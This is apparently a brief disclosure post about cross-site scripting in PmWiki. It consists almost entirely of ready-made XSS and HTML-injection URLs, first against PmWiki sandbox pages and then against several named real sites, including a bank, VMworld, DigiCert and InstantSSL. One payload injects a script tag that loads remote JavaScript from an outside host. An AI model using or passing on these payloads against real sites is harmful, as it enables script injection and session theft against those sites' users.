PmWiki Cross Site Scripting

`Hi you can xss pmwiki like this:  
http://dtcsupport.gplhost.com/Main/WikiSandbox?from=%22/%3E%3Cbody%20onload=alert%281%29%3E  
  
Also the above it seems to behave differently across versions of pmwiki.  
If it doesn't work ...html injection like this should:  
http://www.pmwiki.org/wiki/Main/WikiSandbox?from=%22/%3E%3Cinput%3E  
  
Oh if you bothered to read this far... here have some more xss:  
http://www.bankofamerica.com/remax/?siteid=%22/%3E%3Cscript%20src=http://ha.ckers.org/xss.js%3E  
http://www.vmworld.com/registration.jspa?sponsorCode=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
https://www.digicert.com/custsupport/legal_policies_table.php?color=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E  
https://secure.instantssl.com/renew/index.html?u=%22/%3E%3Cscript%3Ealert%28%27puddi%20puddi%27%29;%3C/script%3Exxx  
  
--  
Always the dullness of the fool is the whetstone of the wits. --  
William Shakespeare, "As You Like It  
  
`